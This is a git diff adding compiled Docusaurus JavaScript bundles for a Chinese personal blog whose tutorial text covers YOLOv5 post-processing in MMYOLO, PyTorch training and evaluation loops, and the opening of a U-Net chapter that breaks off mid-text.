\u9884\u6d4b\u5206\u652f\u9700\u8981\u8fdb\u884c\u89e3\u7801\uff0c\u8fd8\u539f\u4e3a\u771f\u5b9e\u7684\u539f\u56fe\u89e3\u7801\u540e xyxy \u683c\u5f0f"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.strong,{children:"(3) \u7b2c\u4e00\u6b21\u9608\u503c\u8fc7\u6ee4"})}),"\n",(0,r.jsx)(e.p,{children:"\u904d\u5386 batch \u4e2d\u7684\u6bcf\u5f20\u56fe\uff0c\u7136\u540e\u7528 score_thr \u5bf9\u7c7b\u522b\u9884\u6d4b\u5206\u503c\u8fdb\u884c\u9608\u503c\u8fc7\u6ee4\uff0c\u53bb\u6389\u4f4e\u4e8e score_thr \u7684\u9884\u6d4b\u7ed3\u679c"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.strong,{children:"(4) \u7b2c\u4e8c\u6b21\u9608\u503c\u8fc7\u6ee4"})}),"\n",(0,r.jsxs)(e.p,{children:["\u5c06 obj \u9884\u6d4b\u5206\u503c\u548c\u8fc7\u6ee4\u540e\u7684\u7c7b\u522b\u9884\u6d4b\u5206\u503c\u76f8\u4e58\uff0c\u7136\u540e\u4f9d\u7136\u91c7\u7528 score_thr \u8fdb\u884c\u9608\u503c\u8fc7\u6ee4\u3002\n\u5728\u8fd9\u8fc7\u7a0b\u4e2d\u8fd8\u9700\u8981\u8003\u8651 ",(0,r.jsx)(e.strong,{children:"multi_label \u548c nms_pre\uff0c\u786e\u4fdd\u8fc7\u6ee4\u540e\u7684\u68c0\u6d4b\u6846\u6570\u76ee\u4e0d\u4f1a\u591a\u4e8e nms_pre"}),"\u3002"]}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.strong,{children:"(5) \u8fd8\u539f\u5230\u539f\u56fe\u5c3a\u5ea6\u548c nms"})}),"\n",(0,r.jsxs)(e.p,{children:["\u57fa\u4e8e\u524d\u5904\u7406\u8fc7\u7a0b\uff0c\u5c06\u5269\u4e0b\u7684\u68c0\u6d4b\u6846\u8fd8\u539f\u5230\u7f51\u7edc\u8f93\u51fa\u524d\u7684\u539f\u56fe\u5c3a\u5ea6\uff0c\u7136\u540e\u8fdb\u884c nms \u5373\u53ef\u3002\u6700\u7ec8\u8f93\u51fa\u7684\u68c0\u6d4b\u6846\u4e0d\u80fd\u591a\u4e8e ",(0,r.jsx)(e.strong,{children:"max_per_img"}),"\u3002"]}),"\n",(0,r.jsx)(e.h4,{id:"162-batch-shape-\u7b56\u7565",children:"1.6.2 batch shape \u7b56\u7565"}),"\n",(0,r.jsxs)(e.p,{children:["\u4e3a\u4e86\u52a0\u901f\u9a8c\u8bc1\u96c6\u7684\u63a8\u7406\u8fc7\u7a0b\uff0c\u4f5c\u8005\u63d0\u51fa\u4e86 batch shape \u7b56\u7565\uff0c\u5176\u6838\u5fc3\u539f\u5219\u662f\uff1a",(0,r.jsx)(e.strong,{children:"\u786e\u4fdd\u5728 batch \u63a8\u7406\u8fc7\u7a0b\u4e2d\u540c\u4e00\u4e2a batch \u5185\u7684\u56fe\u7247 pad \u50cf\u7d20\u6700\u5c11\uff0c\u4e0d\u8981\u6c42\u6574\u4e2a\u9a8c\u8bc1\u8fc7\u7a0b\u4e2d\u6240\u6709 batch \u7684\u56fe\u7247\u5c3a\u5ea6\u4e00\u6837"}),"\u3002"]}),"\n",(0,r.jsx)(e.p,{children:"\u5176\u5927\u6982\u6d41\u7a0b\u662f\uff1a\u5c06\u6574\u4e2a\u6d4b\u8bd5\u6216\u8005\u9a8c\u8bc1\u6570\u636e\u7684\u5bbd\u9ad8\u6bd4\u8fdb\u884c\u6392\u5e8f\uff0c\u7136\u540e\u4f9d\u636e batch \u8bbe\u7f6e\u5c06\u6392\u5e8f\u540e\u7684\u56fe\u7247\u7ec4\u6210\u4e00\u4e2a batch\uff0c\n\u540c\u65f6\u8ba1\u7b97\u8fd9\u4e2a batch \u5185\u6700\u4f73\u7684 batch shape\uff0c\u9632\u6b62 pad \u50cf\u7d20\u8fc7\u591a\u3002\u6700\u4f73 batch shape \u8ba1\u7b97\u539f\u5219\u4e3a\u5728\u4fdd\u6301\u5bbd\u9ad8\u6bd4\u7684\u60c5\u51b5\u4e0b\u8fdb\u884c pad\uff0c\u4e0d\u8ffd\u6c42\u6b63\u65b9\u5f62\u56fe\u7247\u8f93\u51fa\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:" image_shapes = []\n for data_info in data_list:\n image_shapes.append((data_info['width'], data_info['height']))\n\n image_shapes = np.array(image_shapes, dtype=np.float64)\n\n n = len(image_shapes) # number of images\n batch_index = np.floor(np.arange(n) / self.batch_size).astype(\n np.int) # batch index\n number_of_batches = batch_index[-1] + 1 # number of batches\n\n aspect_ratio = image_shapes[:, 1] / image_shapes[:, 0] # aspect ratio\n irect = aspect_ratio.argsort()\n\n data_list = [data_list[i] for i in irect]\n\n aspect_ratio = aspect_ratio[irect]\n # Set training image shapes\n shapes = [[1, 1]] * number_of_batches\n for i in range(number_of_batches):\n aspect_ratio_index = aspect_ratio[batch_index == i]\n min_index, max_index = aspect_ratio_index.min(\n ), aspect_ratio_index.max()\n if max_index < 1:\n shapes[i] = [max_index, 1]\n elif min_index > 1:\n shapes[i] = [1, 1 / min_index]\n\n batch_shapes = np.ceil(\n np.array(shapes) * self.img_size / self.size_divisor +\n self.pad).astype(np.int) * self.size_divisor\n\n for i, data_info in enumerate(data_list):\n data_info['batch_shape'] = batch_shapes[batch_index[i]]\n"})}),"\n",(0,r.jsx)(e.h2,{id:"2-\u603b\u7ed3",children:"2 \u603b\u7ed3"}),"\n",(0,r.jsx)(e.p,{children:"\u672c\u6587\u5bf9 YOLOv5 \u539f\u7406\u548c\u5728 MMYOLO \u5b9e\u73b0\u8fdb\u884c\u4e86\u8be6\u7ec6\u89e3\u6790\uff0c\u5e0c\u671b\u80fd\u5e2e\u52a9\u7528\u6237\u7406\u89e3\u7b97\u6cd5\u5b9e\u73b0\u8fc7\u7a0b\u3002\u540c\u65f6\u8bf7\u6ce8\u610f\uff1a\u7531\u4e8e YOLOv5 \u672c\u8eab\u4e5f\u5728\u4e0d\u65ad\u66f4\u65b0\uff0c\u672c\u5f00\u6e90\u5e93\u4e5f\u4f1a\u4e0d\u65ad\u8fed\u4ee3\uff0c\u8bf7\u53ca\u65f6\u9605\u8bfb\u548c\u540c\u6b65\u6700\u65b0\u7248\u672c\u3002"})]})}function o(n={}){const{wrapper:e}={...(0,c.R)(),...n.components};return e?(0,r.jsx)(e,{...n,children:(0,r.jsx)(h,{...n})}):h(n)}}}]); \ No newline at end of file diff --git a/en/assets/js/9ed64afb.80c528b5.js b/en/assets/js/9ed64afb.80c528b5.js new file mode 100644 index 0000000..4d2434c --- /dev/null +++ b/en/assets/js/9ed64afb.80c528b5.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[9598],{28453:(e,n,l)=>{l.d(n,{R:()=>a,x:()=>i});var t=l(96540);const s={},r=t.createContext(s);function a(e){const n=t.useContext(r);return t.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function i(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:a(e.components),t.createElement(r.Provider,{value:n},e.children)}},51849:(e,n,l)=>{l.r(n),l.d(n,{assets:()=>d,contentTitle:()=>i,default:()=>h,frontMatter:()=>a,metadata:()=>t,toc:()=>c});const t=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.7 \u8bad\u7ec3\u4e0e\u8bc4\u4f30","title":"3.7 \u8bad\u7ec3\u4e0e\u8bc4\u4f30.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/03.\u7b2c\u4e09\u7ae0/3.7 \u8bad\u7ec3\u4e0e\u8bc4\u4f30.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/03.\u7b2c\u4e09\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.7 \u8bad\u7ec3\u4e0e\u8bc4\u4f30","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.7 \u8bad\u7ec3\u4e0e\u8bc4\u4f30","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/03.\u7b2c\u4e09\u7ae0/3.7 \u8bad\u7ec3\u4e0e\u8bc4\u4f30.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"3.6 \u635f\u5931\u51fd\u6570.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.6 \u635f\u5931\u51fd\u6570"},"next":{"title":"3.8 \u53ef\u89c6\u5316.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.8 \u53ef\u89c6\u5316"}}');var s=l(74848),r=l(28453);const a={},i="3.7 \u8bad\u7ec3\u4e0e\u8bc4\u4f30.md",d={},c=[];function o(e){const n={code:"code",h1:"h1",header:"header",img:"img",li:"li",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,r.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(n.header,{children:(0,s.jsx)(n.h1,{id:"37-\u8bad\u7ec3\u4e0e\u8bc4\u4f30md",children:"3.7 \u8bad\u7ec3\u4e0e\u8bc4\u4f30.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(n.tbody,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:15"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(n.tbody,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,s.jsx)(n.h1,{id:"37-\u8bad\u7ec3\u548c\u8bc4\u4f30",children:"3.7 \u8bad\u7ec3\u548c\u8bc4\u4f30"}),"\n",(0,s.jsx)(n.p,{children:"\u6211\u4eec\u5728\u5b8c\u6210\u4e86\u6a21\u578b\u7684\u8bad\u7ec3\u540e\uff0c\u9700\u8981\u5728\u6d4b\u8bd5\u96c6/\u9a8c\u8bc1\u96c6\u4e0a\u5b8c\u6210\u6a21\u578b\u7684\u9a8c\u8bc1\uff0c\u4ee5\u786e\u4fdd\u6211\u4eec\u7684\u6a21\u578b\u5177\u6709\u6cdb\u5316\u80fd\u529b\u3001\u4e0d\u4f1a\u51fa\u73b0\u8fc7\u62df\u5408\u7b49\u95ee\u9898\u3002\u5728PyTorch\u4e2d\uff0c\u8bad\u7ec3\u548c\u8bc4\u4f30\u7684\u6d41\u7a0b\u662f\u4e00\u81f4\u7684\uff0c\u53ea\u662f\u5728\u8bad\u7ec3\u8fc7\u7a0b\u4e2d\u9700\u8981\u5c06\u6a21\u578b\u7684\u53c2\u6570\u8fdb\u884c\u66f4\u65b0\uff0c\u800c\u5728\u8bc4\u4f30\u8fc7\u7a0b\u4e2d\u5219\u4e0d\u9700\u8981\u66f4\u65b0\u53c2\u6570\u3002"}),"\n",(0,s.jsx)(n.p,{children:"\u7ecf\u8fc7\u672c\u8282\u7684\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7\uff1a"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsx)(n.li,{children:"PyTorch\u7684\u8bad\u7ec3/\u8bc4\u4f30\u6a21\u5f0f\u7684\u5f00\u542f"}),"\n",(0,s.jsx)(n.li,{children:"\u5b8c\u6574\u7684\u8bad\u7ec3/\u8bc4\u4f30\u6d41\u7a0b"}),"\n"]}),"\n",(0,s.jsx)(n.p,{children:"\u5b8c\u6210\u4e86\u4e0a\u8ff0\u8bbe\u5b9a\u540e\u5c31\u53ef\u4ee5\u52a0\u8f7d\u6570\u636e\u5f00\u59cb\u8bad\u7ec3\u6a21\u578b\u4e86\u3002\u9996\u5148\u5e94\u8be5\u8bbe\u7f6e\u6a21\u578b\u7684\u72b6\u6001\uff1a\u5982\u679c\u662f\u8bad\u7ec3\u72b6\u6001\uff0c\u90a3\u4e48\u6a21\u578b\u7684\u53c2\u6570\u5e94\u8be5\u652f\u6301\u53cd\u5411\u4f20\u64ad\u7684\u4fee\u6539\uff1b\u5982\u679c\u662f\u9a8c\u8bc1/\u6d4b\u8bd5\u72b6\u6001\uff0c\u5219\u4e0d\u5e94\u8be5\u4fee\u6539\u6a21\u578b\u53c2\u6570\u3002\u5728PyTorch\u4e2d\uff0c\u6a21\u578b\u7684\u72b6\u6001\u8bbe\u7f6e\u975e\u5e38\u7b80\u4fbf\uff0c\u5982\u4e0b\u7684\u4e24\u4e2a\u64cd\u4f5c\u4e8c\u9009\u4e00\u5373\u53ef\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"model.train() # \u8bad\u7ec3\u72b6\u6001\nmodel.eval() # \u9a8c\u8bc1/\u6d4b\u8bd5\u72b6\u6001\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u6211\u4eec\u524d\u9762\u5728DataLoader\u6784\u5efa\u5b8c\u6210\u540e\u4ecb\u7ecd\u4e86\u5982\u4f55\u4ece\u4e2d\u8bfb\u53d6\u6570\u636e\uff0c\u5728\u8bad\u7ec3\u8fc7\u7a0b\u4e2d\u4f7f\u7528\u7c7b\u4f3c\u7684\u64cd\u4f5c\u5373\u53ef\uff0c\u533a\u522b\u5728\u4e8e\u6b64\u65f6\u8981\u7528for\u5faa\u73af\u8bfb\u53d6DataLoader\u4e2d\u7684\u5168\u90e8\u6570\u636e\u3002"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"for data, label in train_loader:\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u4e4b\u540e\u5c06\u6570\u636e\u653e\u5230GPU\u4e0a\u7528\u4e8e\u540e\u7eed\u8ba1\u7b97\uff0c\u6b64\u5904\u4ee5.cuda()\u4e3a\u4f8b"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"data, label = data.cuda(), label.cuda()\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u5f00\u59cb\u7528\u5f53\u524d\u6279\u6b21\u6570\u636e\u505a\u8bad\u7ec3\u65f6\uff0c\u5e94\u5f53\u5148\u5c06\u4f18\u5316\u5668\u7684\u68af\u5ea6\u7f6e\u96f6\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"optimizer.zero_grad()\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u4e4b\u540e\u5c06data\u9001\u5165\u6a21\u578b\u4e2d\u8bad\u7ec3\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"output = model(data)\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u6839\u636e\u9884\u5148\u5b9a\u4e49\u7684criterion\u8ba1\u7b97\u635f\u5931\u51fd\u6570\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"loss = criterion(output, label)\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u5c06loss\u53cd\u5411\u4f20\u64ad\u56de\u7f51\u7edc\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"loss.backward()\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u4f7f\u7528\u4f18\u5316\u5668\u66f4\u65b0\u6a21\u578b\u53c2\u6570\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"optimizer.step()\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u8fd9\u6837\u4e00\u4e2a\u8bad\u7ec3\u8fc7\u7a0b\u5c31\u5b8c\u6210\u4e86\uff0c\u540e\u7eed\u8fd8\u53ef\u4ee5\u8ba1\u7b97\u6a21\u578b\u51c6\u786e\u7387\u7b49\u6307\u6807\uff0c\u8fd9\u90e8\u5206\u4f1a\u5728\u4e0b\u4e00\u8282\u7684\u56fe\u50cf\u5206\u7c7b\u5b9e\u6218\u4e2d\u52a0\u4ee5\u4ecb\u7ecd\u3002"}),"\n",(0,s.jsx)(n.p,{children:"\u9a8c\u8bc1/\u6d4b\u8bd5\u7684\u6d41\u7a0b\u57fa\u672c\u4e0e\u8bad\u7ec3\u8fc7\u7a0b\u4e00\u81f4\uff0c\u4e0d\u540c\u70b9\u5728\u4e8e\uff1a"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsx)(n.li,{children:"\u9700\u8981\u9884\u5148\u8bbe\u7f6etorch.no_grad\uff0c\u4ee5\u53ca\u5c06model\u8c03\u81f3eval\u6a21\u5f0f"}),"\n",(0,s.jsx)(n.li,{children:"\u4e0d\u9700\u8981\u5c06\u4f18\u5316\u5668\u7684\u68af\u5ea6\u7f6e\u96f6"}),"\n",(0,s.jsx)(n.li,{children:"\u4e0d\u9700\u8981\u5c06loss\u53cd\u5411\u56de\u4f20\u5230\u7f51\u7edc"}),"\n",(0,s.jsx)(n.li,{children:"\u4e0d\u9700\u8981\u66f4\u65b0optimizer"}),"\n"]}),"\n",(0,s.jsx)(n.p,{children:"\u4e00\u4e2a\u5b8c\u6574\u7684\u56fe\u50cf\u5206\u7c7b\u7684\u8bad\u7ec3\u8fc7\u7a0b\u5982\u4e0b\u6240\u793a\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"def train(epoch):\n model.train()\n train_loss = 0\n for data, label in train_loader:\n data, label = data.cuda(), label.cuda()\n optimizer.zero_grad()\n output = model(data)\n loss = criterion(output, label)\n loss.backward()\n optimizer.step()\n train_loss += loss.item()*data.size(0)\n train_loss = train_loss/len(train_loader.dataset)\n\t\tprint('Epoch: {} \\tTraining Loss: {:.6f}'.format(epoch, train_loss))\n\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u5bf9\u5e94\u7684\uff0c\u4e00\u4e2a\u5b8c\u6574\u56fe\u50cf\u5206\u7c7b\u7684\u9a8c\u8bc1\u8fc7\u7a0b\u5982\u4e0b\u6240\u793a\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"def val(epoch): \n model.eval()\n val_loss = 0\n with torch.no_grad():\n for data, label in val_loader:\n data, label = data.cuda(), label.cuda()\n output = model(data)\n preds = torch.argmax(output, 1)\n loss = criterion(output, label)\n val_loss += loss.item()*data.size(0)\n running_accu += torch.sum(preds == label.data)\n val_loss = val_loss/len(val_loader.dataset)\n print('Epoch: {} \\tTraining Loss: {:.6f}'.format(epoch, val_loss))\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u5bf9\u4e8e\u56fe\u50cf\u5206\u7c7b\u4efb\u52a1\uff0c\u6211\u4eec\u8fd8\u53ef\u4ee5\u4f7f\u7528sklearn.metrics\u4e2d\u7684classification_report\u51fd\u6570\u6765\u8ba1\u7b97\u6a21\u578b\u7684\u51c6\u786e\u7387\u3001\u53ec\u56de\u7387\u3001F1\u503c\u7b49\u6307\u6807\uff0c\u5982\u4e0b\u6240\u793a\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:'from sklearn.metrics import classification_report\n"""\n\u5c06\u4e0b\u65b9\u4ee3\u7801\u7684labels\u548cpreds\u66ff\u6362\u4e3a\u6a21\u578b\u9884\u6d4b\u51fa\u6765\u7684\u6240\u6709label\u548cpreds\uff0c\ntarget_names\u66ff\u6362\u4e3a\u7c7b\u522b\u540d\u79f0\uff0c\n\u65e2\u53ef\u5f97\u5230\u6a21\u578b\u7684\u5206\u7c7b\u62a5\u544a\n"""\nprint(classification_report(labels.cpu(), preds.cpu(), target_names=class_names))\n'})}),"\n",(0,s.jsxs)(n.p,{children:["\u9664\u6b64\u4e4b\u5916\uff0c\u6211\u4eec\u8fd8\u53ef\u4ee5\u4f7f\u7528",(0,s.jsx)(n.code,{children:"torcheval"}),"\u6216",(0,s.jsx)(n.code,{children:"torchmetric"}),"\u6765\u5bf9\u6a21\u578b\u8fdb\u884c\u8bc4\u4f30\u3002"]})]})}function h(e={}){const{wrapper:n}={...(0,r.R)(),...e.components};return n?(0,s.jsx)(n,{...e,children:(0,s.jsx)(o,{...e})}):o(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/a21edc31.f7c27be8.js b/en/assets/js/a21edc31.f7c27be8.js new file mode 100644 index 0000000..9b383e1 --- /dev/null +++ b/en/assets/js/a21edc31.f7c27be8.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[2447],{20429:(n,e,l)=>{l.r(e),l.d(e,{assets:()=>r,contentTitle:()=>o,default:()=>h,frontMatter:()=>c,metadata:()=>s,toc:()=>d});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.2 \u5229\u7528\u6a21\u578b\u5757\u5feb\u901f\u642d\u5efa\u590d\u6742\u7f51\u7edc","title":"5.2 \u5229\u7528\u6a21\u578b\u5757\u5feb\u901f\u642d\u5efa\u590d\u6742\u7f51\u7edc.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/05.\u7b2c\u4e94\u7ae0/5.2 \u5229\u7528\u6a21\u578b\u5757\u5feb\u901f\u642d\u5efa\u590d\u6742\u7f51\u7edc.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/05.\u7b2c\u4e94\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.2 \u5229\u7528\u6a21\u578b\u5757\u5feb\u901f\u642d\u5efa\u590d\u6742\u7f51\u7edc","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.2 \u5229\u7528\u6a21\u578b\u5757\u5feb\u901f\u642d\u5efa\u590d\u6742\u7f51\u7edc","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/05.\u7b2c\u4e94\u7ae0/5.2 \u5229\u7528\u6a21\u578b\u5757\u5feb\u901f\u642d\u5efa\u590d\u6742\u7f51\u7edc.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"5.1 PyTorch\u6a21\u578b\u5b9a\u4e49\u7684\u65b9\u5f0f.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.1 PyTorch\u6a21\u578b\u5b9a\u4e49\u7684\u65b9\u5f0f"},"next":{"title":"5.3 PyTorch\u4fee\u6539\u6a21\u578b.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.3 PyTorch\u4fee\u6539\u6a21\u578b"}}');var i=l(74848),t=l(28453);const c={},o="5.2 \u5229\u7528\u6a21\u578b\u5757\u5feb\u901f\u642d\u5efa\u590d\u6742\u7f51\u7edc.md",r={},d=[{value:"5.2.1 U-Net\u7b80\u4ecb",id:"521-u-net\u7b80\u4ecb",level:2},{value:"5.2.2 U-Net\u6a21\u578b\u5757\u5206\u6790",id:"522-u-net\u6a21\u578b\u5757\u5206\u6790",level:2},{value:"5.2.3 U-Net\u6a21\u578b\u5757\u5b9e\u73b0",id:"523-u-net\u6a21\u578b\u5757\u5b9e\u73b0",level:2},{value:"5.2.4 \u5229\u7528\u6a21\u578b\u5757\u7ec4\u88c5U-Net",id:"524-\u5229\u7528\u6a21\u578b\u5757\u7ec4\u88c5u-net",level:2},{value:"\u53c2\u8003\u8d44\u6599",id:"\u53c2\u8003\u8d44\u6599",level:2}];function a(n){const e={a:"a",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,t.R)(),...n.components};return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(e.header,{children:(0,i.jsx)(e.h1,{id:"52-\u5229\u7528\u6a21\u578b\u5757\u5feb\u901f\u642d\u5efa\u590d\u6742\u7f51\u7edcmd",children:"5.2 \u5229\u7528\u6a21\u578b\u5757\u5feb\u901f\u642d\u5efa\u590d\u6742\u7f51\u7edc.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,i.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,i.jsx)(e.tbody,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"left"},children:(0,i.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,i.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:18"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,i.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,i.jsx)(e.tbody,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"left"},children:(0,i.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,i.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,i.jsx)(e.h1,{id:"52-\u5229\u7528\u6a21\u578b\u5757\u5feb\u901f\u642d\u5efa\u590d\u6742\u7f51\u7edc",children:"5.2 \u5229\u7528\u6a21\u578b\u5757\u5feb\u901f\u642d\u5efa\u590d\u6742\u7f51\u7edc"}),"\n",(0,i.jsxs)(e.p,{children:["\u4e0a\u4e00\u8282\u4e2d\u6211\u4eec\u4ecb\u7ecd\u4e86\u600e\u6837\u5b9a\u4e49PyTorch\u7684\u6a21\u578b\uff0c\u5176\u4e2d\u7ed9\u51fa\u7684\u793a\u4f8b\u90fd\u662f\u7528",(0,i.jsx)(e.code,{children:"torch.nn"}),"\u4e2d\u7684\u5c42\u6765\u5b8c\u6210\u7684\u3002\u8fd9\u79cd\u5b9a\u4e49\u65b9\u5f0f\u6613\u4e8e\u7406\u89e3\uff0c\u5728\u5b9e\u9645\u573a\u666f\u4e0b\u4e0d\u4e00\u5b9a\u5229\u4e8e\u4f7f\u7528\u3002\u5f53\u6a21\u578b\u7684\u6df1\u5ea6\u975e\u5e38\u5927\u65f6\u5019\uff0c\u4f7f\u7528",(0,i.jsx)(e.code,{children:"Sequential"}),"\u5b9a\u4e49\u6a21\u578b\u7ed3\u6784\u9700\u8981\u5411\u5176\u4e2d\u6dfb\u52a0\u51e0\u767e\u884c\u4ee3\u7801\uff0c\u4f7f\u7528\u8d77\u6765\u4e0d\u751a\u65b9\u4fbf\u3002"]}),"\n",(0,i.jsx)(e.p,{children:"\u5bf9\u4e8e\u5927\u